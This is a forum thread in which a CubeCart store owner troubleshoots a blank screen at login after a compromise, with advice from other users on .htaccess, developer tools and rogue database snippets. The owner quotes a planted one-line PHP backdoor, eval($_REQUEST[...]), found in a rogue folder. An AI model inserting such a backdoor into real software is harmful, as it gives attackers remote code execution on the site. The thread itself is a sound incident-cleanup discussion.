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White Screen on Login or PW Change--Hacked


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Last week I upgraded from v6.4.2 to v6.4.4. Everything seemed to be working fine until after the weekend. Now when I enter username/password and click to log in I get a white screen. When I use the password change form, the same thing happens--I click, it seems to submit the form just fine, but all I see is a white screen.

I've tried checking the error_log but there is nothing. I've tried enabling "display_errors" in debug.class.php, but nothing. I've also checked to see if something was reconfigured on the hosted server, but no.

I'm pretty sure I've been hacked, because I checked the /includes/extra folder and found an /includes/extra-BAD folder as well. Inside the /extra-BAD folder was a snippet file I didn't recognize and a public key code file and some sess_ files. The snippet file contained just one line of PHP code: eval($_REQUEST["4ikT7"]). Here's a sample sess_ file content:

__client|a:5:{s:10:"ip_address";s:14:"";s:9:"useragent";s:90:"Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, [email protected])";s:13:"session_start";i:1451332019;s:12:"session_last";i:1451332019;s:8:"language";s:5:"en-US";}__system|a:1:{s:5:"token";s:32:"21828537828a8497b3b39a0f63864d74";}__recaptcha|a:2:{s:5:"error";N;s:9:"confirmed";b:0;}

The final "error" was in all of them.

I've removed the alien files and folder from the server, of course, but I still can't login. Any ideas? I didn't see any unfamiliar files in /images so not sure if the snippet was used to redirect to other servers or if I've got hacked content someplace else. I could really use help on this one.




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I'm following some 2016 instructions for cleaning a hacked store: 

Step 7 is "If you are not able to login to the admin side of your store please reset the login via the database. "

The link to resetting the login yields a 404 error. I think I've done it correctly, though, to change the password, but still can't log into the admin area. Grr.


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Does the storefront work?

Do you happen to have the CubeCart Security Suite module installed?

If there is no error_log, then it may be the case that the web server is disagreeing with something in the .htaccess file (assuming you are using Apache web server) - that is, before PHP even starts up and gets a chance to report anything to the error_log.


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Yes, the storefront works, except customers can't change their passwords.

No, I don't have it but will certainly check out the Security Suite as soon as I can get in to admin install it.

Yes I'm using a hosted Apache server. I've checked some of the .htaccess files, but will do that again and more thoroughly. Thanks!


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Is it generally safe to delete files and folders that were used in previous versions but not the latest? Omitting things like user files such as images, of course. For example, I have a /phpMailer folder on the server, but the latest version doesn't have that but has /PHPMailer instead. Is it safe to delete the /phpmailer folder?

I'm trying to get as close to a clean install as possible.

Thanks for the help.


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You can delete the oldest folder (which should be phpMailer - note the lowercase php).

Not being able to log in vs. getting a white screen after submitting the form to do so are two different things.

A failed login attempt will be shown to you.

A white screen means something went wrong (as opposed to being denied).

Your browser will have a Developer's Tools set of functions. One is a 'Network' tab where one can see what got posted and what was returned, if anything. Aside from the content, there will be a collection of HTTP headers in the response. Importantly, there will be the "Response status" code from the web server. That code will either be, commonly: 200, 500, or 304.

A status of 500 is trouble - somewhere.


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I found some php files in a subdirectory /cache/controllers that I don't see in recent versions. They had to do primarily with admin sessions. I've removed them.

Thanks for the tip about the Developer's Tools. I had forgotten about that. I'll check it now.


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With Developer Tools in Chrome, I get response status 200 on both the login page and the white screen after I submit the login. Here's the headers from after the login is submitted (with username/password removed, but it was listed correctly--I also altered the admin page name, but it too was listed correctly). I don't see any obvious errors but I don't know how to interpret parts of it.

    1. Request URL:
    2. Request Method:
    3. Status Code:
    4. Remote Address:
    5. Referrer Policy:
  1. Response Headers
    1. cache-control:
      pre-check=0, post-check=0, max-age=0
    2. content-encoding:
    3. content-type:
      text/html; charset=UTF-8
    4. date:
      Tue, 19 Oct 2021 21:50:43 GMT
    5. expires:
    6. pragma:
    7. server:
    8. set-cookie:
      CCS_B0C4C3B217=bca7de24aee9eb9bf3f50f1e0d9025d6; expires=Tue, 26-Oct-2021 21:50:43 GMT; Max-Age=604800; path=/store; domain=.treefrogfarm.com; secure; HttpOnly; SameSite=None
    9. vary:
    10. x-frame-options:
    11. x-powered-by:
  2. Request Headers
    1. :authority:
    2. :method:
    3. :path:
    4. :scheme:
    5. accept:
    6. accept-encoding:
      gzip, deflate, br
    7. accept-language:
    8. cache-control:
    9. content-length:
    10. content-type:
    11. cookie:
      CCS_B0C4C3B217=5fd53b369b82009b0ed9e34c5de6ddf7; __utmc=183381347; __utmz=183381347.1630434710.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __zlcmid=165kKkjobQZfVNO; _ga=GA1.2.290882159.1630434710; PHPSESSID=f4d343e193cb3f424f941320669d06c5; __utma=183381347.290882159.1630434710.1634628236.1634671021.12
    12. origin:
    13. pragma:
    14. referer:
    15. sec-ch-ua:
      "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
    16. sec-ch-ua-mobile:
    17. sec-ch-ua-platform:
    18. sec-fetch-dest:
    19. sec-fetch-mode:
    20. sec-fetch-site:
    21. sec-fetch-user:
    22. upgrade-insecure-requests:
    23. user-agent:
      Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Mobile Safari/537.36
  3. Form Dataview sourceview URL-encoded
    1. username:
    2. password:
    3. redir:
    4. login:
      Log In
    5. token:
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In your .htaccess file, I think there must be this correct declaration:

 RewriteBase /store/

Using an external database utility, look in the database table CubeCart_code_snippet. (Perhaps you have already done this, working through the 'Have I been hacked' knowledgebase article.) Look for any snippets here that you do not recognize.

The line (in Network Developer's Tools) that follows the POST entry... you say it also has a 200 Status? Does the Network screen have a panel that shows you the content that was delivered?

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